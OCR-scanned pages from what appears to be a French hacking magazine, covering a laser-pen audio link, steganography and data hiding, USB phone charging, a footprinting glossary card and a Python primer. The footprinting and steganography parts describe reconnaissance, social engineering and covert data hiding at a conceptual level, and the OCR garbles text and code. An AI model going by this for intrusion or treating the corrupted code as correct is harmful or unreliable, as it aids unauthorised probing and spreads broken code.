se fatiguer a chercher ? Puisqu'il est
deja prét | Seulement vaila, nous utili-
sons I'ensemble comme s'il s'agissait
d’un composant unique : ce circuit
deviendra ainsi notre téte d’émission
de lumiere laser.

Mais comment faire pour la piloter de
sorte qu’elle devienne un moyen de
transmission d’informations ?

Les idées relévent ici de I'imagina-
tion. Nous avons trouvé certains élé-
ments sur le web et décidons de
noter quelques trouvailles utiles, par-
mi les solutions les plus simples et
efficaces. Chacun pourra ensuite
tester des solutions alternatives. C'est
notre métier ! :)
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Le circuit de trans-
Mission

On peut réaliser des choses compli-
quées, ou bien toutes simples.Nous
optons bien sOr pour la seconde solu-
tion et fouillons ensuite dans notre tiroir
de bureau, histoire de trouver quelque
chose. Et c’est chose faite puisque nous
tombons sur un circuit intégré NE555
trés ordinaire, ou équivalent. Parfait, si
on utilise le schéma approprié.

Piloté sur la broche 5 a partir d’un étage
d’'entrée réalisé avec un transistor NPN
quelconque (un BC548 récupéré d'un vieux
téléviseur fera trés bien I'affaire), une poi-
gnée de resistances et quelques conden-
sateurs, notre circuit devient un systeme
générant une onde porteuse a environ 105
kHz et qui alimente notre stylo laser.

En variant ainsi la fréquence de 'onde
porteuse, nous parvenons a moduler
l'intensité du rayon en fonction de cel-

audio, qu’elle soit un signal provenan
d’'un microphone, ou d’'une radio, ou
encore de la sortie audio d'un PC.

le que nous introduisons dans l’entrég‘

Le recepteur

Pour recevoir le signal lumineux émis
par le stylo, nous devons utiliser par
la force des choses un systéme qui
soit plus ou moins sensible a la lon-

gueur d'onde du rouge. Le monde
est rempli de phototransistors adaptés
a cette seule fin.

Vous pourriez, par exemple, adapter
directement un module de réception pro-
venant du récepteur de la télécommande
a infrarouges d’un téléviseur démonté a
la place du phototransistor MCR300 de
Motorola présenté sur le schéma.

Méme une simple photodiode, soit
guelques centimes dans un magasin
d'électronique, ferait tout a fait I'affaire !
En tant qu’étage de séparation entre
Fonde porteuse et le veritable signal

E LASER

es stylos lumineux sont apparus lors-

qu’on a découveri comment produire

un faisceau laser a parﬂr d’une diode,
Dés lors, diffé

o

roduit egalement sl no
U de fres loin. Ef vous poumez commett

HARD HACKING

audio, un décodeur NE567 a été utilisé
dans le circuit. Et c'est sur 'entrée 3 de
ce décodeur que nous appliquons le
signal modulé provenant directement
du phototransistor, a travers I'habituel
transistor d’amplification BC548. Sur
la broche de sortie 7, nous trouvons le
signal audio sacrément bien nettoyé.
Tout systeme d’amplification vous per-
metira ensuite d’écouter le résultat,
méme en insérant par exemple le signal
dans 'entrée audio de votre carte PC.
Mais si I'on souhaite gue I'ensemble soit
autonome, il faut alors ajouter un petit
circuit intégré amplificateur, comme le
TDA7052, et achever par un petit haut-
parleur de 8 ohms.

Les problemes

Le probleme majeur est essentielle-
ment ia concentration du rayon quz
tout en etant un laser, n'est pas s
facile a orienter avec prec ision, sur-

tout de loin. |l fautdonc guelgque chose
pour faire correspondre le faisceau au
récepteur et vous devrez vous procurer
un petit objectif, récupéré sur un appa-
reil photo jetable, ou utiliser un simple
télescope ou un miroir concave. Bref, il
faut quelque chose pour concentrer les
rayons qui arrivent. Mais comme nous
le disions, I'expérimentation est notre
rayon. Que la l[umiéere soit avec nous !
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a l expertlse scuentn‘lque VOUS
lavez déja tous vue dans la série télévisée
CSl (Les Experts). Lorsqu'on la pratique
sur un ordinateur, au lieu d'une victime,
connaitre la bonne stéganographie est
important pour retrouver des fichiers et
informations normalement perdues.

saute aux
§ yeux de
tous dans
la stéga-
nographie.
Le défi est
B évident
g et consi-
i ste a bien

cacher le message réel dans celui qui
fait office de porteuse.

mlere vue, ils semblent tout a fait nor-
maux, Si on ne connait pas le schéma
de lecture. Une variante intéressante
des codes chiffrés “null” consiste a
transmettre des messages secrets
qui ressemblent & des spams. Bien s, le
destinataire doit configurer son filtre ! Sur
le site hitp://www.spammimic.com,
une simple page web crypte un mes-
sage quelconque sous la forme d'un
courrier indésirable classique.

messages ont ainsi été passes en étant
cachés derriere une image dans une
diapositive de Powerpoint, ou en étant
écrits dans les Propriétés d’'un docu-
ment Word, qui sont des choses évi-
dentes, mais que personne ne voit ! D'ici
a écrire un texte coloré sur un fond de
la méme couleur, il n’y a gu’'un pas (le




I
Q . I
. . o . 3 ’ . .
destinataire, en fonction de la réalisation

du document, sélectionne le texte avec
sa souris, ou efface le fond).

Les choses deviennent plus intéres-
santes lorsgu’on se retrouve face a
des images ou a un fond sonore. En
géneéral, la stéganographie prévoit des
transformations minimes des informa-
tions de couleur, ou des formes d’'onde
du son.

Stéganographie
scientifigue

Souvent appliquée involoniaire-
ment, la stéganographie scientifique
mérite un chapitre a part. En effet, un
ordinateur peut étre rempli de don-
nees mteressantes que son utilisateur

oy By
e

a laissé trainer sans le savoir... ou
en le sachant, sauf qu’il n’a pas eu
le temps de les effacer. Lorsqu’on
efface un fichier, en réalité on ne le
supprime pas vraiment ; il reste sur
le disque et I'enregistrement suivant
réécrit par-dessus. Mais il se peut
que des morceaux de fichier restent
sur le disque pendant une durée
indéterminée.

Quant aux utilisateurs con-
scients, il y a ceux qui cachent
de petites guaniités de données
dans I'espace vide des en-iéies

d’un fichier, ou qui font voyager

des données a travers Internet en
les cachant par petits morceaux
dans les paquets PING.

Une petite partition cachée dans
ie disque dur est un bon moyen
de dissimuler des données.
Une version stéganographique du
fichier systéeme ext2fs de Linux a
méme été produite. Avantage de
cette solution : en cas d'attaque,
la simple suppression du driver de
stéganographie rend les fichiers
stéganographiés illisibles sans
endommager les autres.

Kurt Godel
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la prise de l'allume-cigare.

* ger voire téléphone.

| ples a brancher.

; Vous les trouverez a environ 30 dollars sur
; un site australien, mais peut-étre qu’en
| effectuant quelques recherches plus pous-
' sées sur le web, vous parviendrez a vous
i les procurer plus prés de chez vous. Quoi

qu'il en soit, vous les trouverez a 'adresse

suivante : www.auspemarket.com.au, pour

y les Nokia 8850, 8210 et 3210.

De méme pour le Motorola v3688, mais il
s'agit d'un cable nettement pius compliqué,
car la prise qui se branche sur ce télépho-
ne est une prise propriétaire. Le prix reste
‘ assez éleve, et il ne faut pas oublier que
% dans la majorité des cas, ce type de cables
y doit prévoir une prise propriétaire corres-
pondant a votre modele de téléphone. En
outre, si les tensions en jeu ne sont pas
identiques a celies produites par linterface
USB, il faudra également prévoir un con-
vertisseur courant continw/courant continu

qui adapie les valeurs de tension.

ous éies en voiture et voire
téléphone poriable se déchar-
ge. Vous n'avez que votre ordi-
nateur portable sous la main, et
ne disposez pas de I'alimentation
qui se branche normalement sur

Que pouvez-vous faire ? Eh bien ! Vous
pouvez prevoir un simple cable dans votre
boite a gants, qui utilisera le courant des
batieries de votre ordinateur pour rechar-

Ces cables sont méme déja préts, du
moins pour les téléphones portables les
plus diffusés ou, sans doute, les plus sim-

; USB comme source
d’alimentation

] En pratique, le port USB dispose de qua-
re conducteurs. Les deux extérieurs ser-
vent a 'alimentation et les deux intérieurs
de connecteurs de signal. Jusqu'a ce qu’on
i utilise les connecteurs de signal, l'interface

[p28) [ www.hanltermag.com]

Ie port USB est
ine excellente
dlimentation.
ourtout quand on
iia rien d'autre
sous Ia main !

n'a aucun controle sur ce qui est relié a l'ali-
mentation, & condition gue fon ne dépasse
pas la valeur maximale du courant absorbé,
qui est fixée a 500 mA. Par consequent, tout
ce qui fonctionne sous 5 volis et consomme
moins de 500 mA peut étre alimenté parvotre
ordinateur par le biais des connecteurs de
linterface USB.

Nous avons déja présenté a travers ces pages
une lampe USB utilisant deux ou trois leds 2
forte luminosité. Vous pouvez faire la méme
chose avec les teléphones portables, mais
en restant prudents. Il est.en effet important
de ne pas dépasser la limite du courant et de
la tension qui sert a recharger la batterie de
votre téléphone portable.

En général, les batteries modernes sont des
batteries au lithium de 3,6 volts, qui ont pour
caractéristique de se décharger totalement
d'un coup et de rester chargées pendant
plusieurs heures. Combien de temps ? Cela
dépend de la consommation du téléphone,
un parametre indispensable pour déterminer si
lalimentation USB est suffisante. Par exemple,
sivolre téléphone a une batterie de 3,6V - 500
mAh (milliamperes/heure) et que pendant
une conversation normale, il est congu pour
durer environ 2 heures, cela signifie que sa
consommation nominale est de 250 mAh. Soit
bien mains que les 500 mA qui peuvent étre
fournis par votre port USB. Vious pouvez donc
Falimenter. Au pire, vous serez confrontés au
probleme de la fension d'alimentation. Si votre
éléphone fonctionne sous 3,6 volts alors que
vous endisposez de 5, vous devez abaisser la
tension avec un régulateur de tension a circuit
intégré. Si en revanche, voire batierie estde 4,8
voits ou de 6 volts, vous n'aurez probablement
rien a faire, car ce sont.des valeurs si proches
de 5 volts quelles ne doivent pas causer d'en-
nuis. Si I'alimentation de votre téléphone est
de 9 volts, vous ne pourez probablement rien
faire ou le temps de recharge s'allongera de
fagon démesurée.

Ce ne sont que des idées pour une expéri-
mentation, mais nous avons déja fait le pre-
mier pas ! Qui veut essayer ? g2




découpe suivant les pointillés
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server ces pages dans un classeur

Pour con

rocédé d’accumulation de données concernant un
systéme ou un réseau d'ordinateurs, en général
pour en découvrir les points faibles et ensuite le
pénétrer.

Parmi les techniques utilisées par un attaquant, on trouve
{ingénierie sociale, qui permet de soutirer des informations
utiles servant a contourner les protections du systéme, ou
a comprendre comment celui-ci est fait, comment il fonc-
tionne, qui en a le contrdle effectif, etc. Un attaguant peut
également employer des techniques spécifiques, comme les
interrogations a distance du systéme, qui sont de différents
fypes. S

EXEMPLE

*activité de footprinting commence par la définition de

I’objectif. En clair, celui qui voudrait nous espionner Sasioortie 0
utiliserait toutes les techniques possibles pour recueillir :
des informations, de maniére a avoir un tableau complet de
notre systéme, qu’il s’agisse d’un ordinateur unique ou d’un
ensemble complexe en réseau.
Par exemple, un simple telnet a ladresse concernée peut
fournir des informations trés utiles sur P'ordinateur et le
systeme d’exploitation utilisés.

O e

SEE

Seeyrité
a securite passe toujours, toujours, foujours par un bon
administrateur sysieme. Gelui-ci devra faire en sorte gue ses

machines ne répondent pas aux interrogations, guelles gu'elles

Qualités requises

’il veut obtenir une empreinte précise de ce qu’il souhaite

attaquer, un attaquant doit hien connaitre les protocoles pou-
vant étre utilisés pour interroger les serveurs a distance sans
laisser trop de traces. En général, une attaque de “lamer” se recon-
nait aussitdt par rapport a celle d’un expert, justement parce que
le premier laisse de nombreuses traces de son passage, souvent
exprés, pour bien montrer qu'il a réussi a pénetrer le systeme. Un
véritable expert de l'intrusion ne laisse pas la moindre trace, et il
peut méme réussir a enauéter pendant des mois sans que personne
ne puisse s'en rendre compte, y compris celui qui a installé des
logiciels de controle sophistiqués contre les éventuelles attagues.

UN ANCIEN PROGRAMME, DESORMAIS HISTORIQUE, MAIS QU’IL
FAUT TOUT DE MEME CONNAITRE.

IL FUT UN CHEVAL DE BATTAILLE POUR L’ACQUISITION D’INFORMA-
TIONS DE MANIERE TRES DISCRETE : HTTP://SIPHON. DATANERDS . NET

soient, en évitant tout ce qui poutrait plus ou moins les identifier.
Il arrive trop souvent, en se connectant & un serveur, qu'on lise
“Bonjour XYZ, je suis Mathilde, le serveur pour fe servir”, ou quel-
que chose du genre. Qu, pire encore, "Solaris 0S, rev 2.1" et autres
informations sur l'erdinateur ufilisé. Un bon attaquant emploiera
tous les moyens ; soit il connait Ies bugs de chague systeme
d'exploitation existant, soit il utilisera les noms des serveurs pour
pratiquer des actions d'ingénierie sociale ciblées, grace auxquelles
ils vous piegera facilement: “il connait le serveur auquel je me con-
necte!”...

VOUS TROUVEREZ ICI DIVERS FICHIERS UTILES, Y COMPRIS DES
SYSTEMES DE DEFENSE, COMME KLAXON, CAPABLE D’IDENTIFIER
UN BALAYAGE DES PORTS OUVERTS (PORT SCANNING) SUR NOS
SERVEURS: FTP://FTP.ENG.AUBURN.EDU/PUB/DOUG/




angage de pro%rammation inter-
preté, orienté objet. Cela veut dire
que, pour étre exécutés, tous les
programmes que I'on écrit nécessi-
tent Finstallation d’un programme inter-
préteur, capable d’ interpréter le code
source et de l'exécuter.

C’est pour cette raison que les program-
mes ecrits en Python passent facile-
ment d’une plate-forme a l'autre (Win-
dows, Linux et Mac), a condition que

EXEMPLE vous ayez installé le bon interpréteur.

Trés utilisé dernierement, Python est un langage permettant
une grande puissance de programmation, tout en mainte-
nant une syntaxe claire, compacte et relativement simple.

Voici un exemple de routine écrite en Python, qui convertit

un tableau:
def invert(tabie):
inder = {} # empty dictionary

for key in table.keys():
value = table[keyl
if not inder.has_key(value):
index[value] = [] # empty kst
index[valuel.append(key)
return index

Elle peut é&tre utilisée par le prompt de Finterpréteur en
écrivant comme ceci
(>>> est le prompt de I'interpréteur):

iy ey

tablef [pay-gricat) \ 4] fay  raogaipeiol, t,
T oG2S

B e £l >»> phonebook = {*guide’: 4127, ‘sjoerd’: 4127, ‘jack’:
e 4098}

>>> phonebook[‘dcab’] = 4147 # add an
entry

>> inverted_phonebook = invert(phonebogk)

>> print inverted_phonebook

{4098: [‘jack’]l, 4127: [‘guide’, ‘sjoerd’]l, 4147:
[*dcab’}

>

Qualités requises Secyrite

“interpréteur est protégé par un copyright, mais il est en ython est un langage siir, qui utilise des bibliothéques |

distribution libre, donc parfaitement ulilisable a des fins bien testées. Malgre tout, il peut arriver qu’il y ait
méme commereiales. Python tourne sur UNIX, Windows, 05/2, des vers natifs de securité, comme ce fut le cas pour la
MacOS, Amiga et d'autres systemes. Il peut étre utile de connaitre bibliothéque SimpleXMLRPCServer.py. Heureusement, ce
un peu de programmation, et meme les expressions régulisres, probléme a été résolu grace a un patch spécial, que I'on peut
car Python est congu en faire usage. Une importante communauté telécharger a I'adresse www.python.org/security/PSF-2005-
d’utilisateurs italiens a traduit de nombreux documents concernant 001.
Python: vous les trouvez ici: www.python.it/doc/newbie.html. Cela Quant aux applications, ce sera, bien sir, au programmateur
peut étre un bon point de départ pour s'initier a ce langage. de les sécuriser en vue de ['utilisation prévue.

VOICI BON MODE D’EMPLOI POUR DEBUTANTS, QUOI- D’INTERESSANTS TRAVAUX ET ROUTINES ECRITES EN
QU’EN ANGLAIS: www.pYTHON. ORG/MOIN/BEGINNERSGUIDE PYTHON SONT RASSEMBLES ICt:
WWW.PYTHON.ORG/PYCON/2005/PAPERS/
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